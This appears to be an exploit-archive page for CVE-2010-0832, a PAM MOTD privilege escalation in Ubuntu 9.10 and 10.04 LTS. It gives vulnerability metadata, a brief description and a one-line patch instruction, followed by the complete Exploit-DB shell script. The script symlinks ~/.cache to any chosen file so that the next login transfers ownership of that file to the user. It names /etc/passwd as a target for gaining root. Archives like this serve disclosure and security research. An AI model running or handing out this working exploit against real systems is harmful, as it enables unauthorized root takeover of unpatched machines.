Ubuntu PAM MOTD file tampering (privilege escalation)

vendor:

Ubuntu Linux

by:

Kristian Erik Hermansen

7,2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Ubuntu Linux

Affected Version From: Ubuntu 9.10

Affected Version To: Ubuntu 10.04 LTS

Patch Exists: YES

Related CWE: CVE-2010-0832

CPE: o:ubuntu:ubuntu_linux:10.04

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 10.04 LTS (Lucid Lynx)

2010

Ubuntu PAM MOTD file tampering (privilege escalation)

This exploit allows an attacker to gain root privileges by tampering with the PAM MOTD file. The attacker can create a symbolic link to the file they wish to tamper with and then log back into their shell or re-ssh to make PAM call the vulnerable MOTD code. The file will then be owned by the user.

Mitigation:

The user should install the latest version of libpam and update their system regularly.

Source

Exploit-DB raw data:

#!/bin/sh
#
# EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/14339/
#
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)
# Date: July 7, 2010
# Author: Kristian Erik Hermansen <kristian.hermansen@gmail.com>
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)
# CVE : CVE-2010-0832
#
# Notes: Affects Ubuntu 9.10 and 10.04 LTS
# [Patch Instructions]
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i
#

if [ $# -eq 0 ]; then
    echo "Usage: $0 /path/to/file"
    exit 1
fi

mkdir $HOME/backup 2> /dev/null
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)
mv $HOME/.cache/ $tmpdir 2> /dev/null
echo "\n@@@ File before tampering ...\n"
ls -l $1
ln -sf $1 $HOME/.cache
echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :)  File will then be owned by your user.  Try /etc/passwd...\n"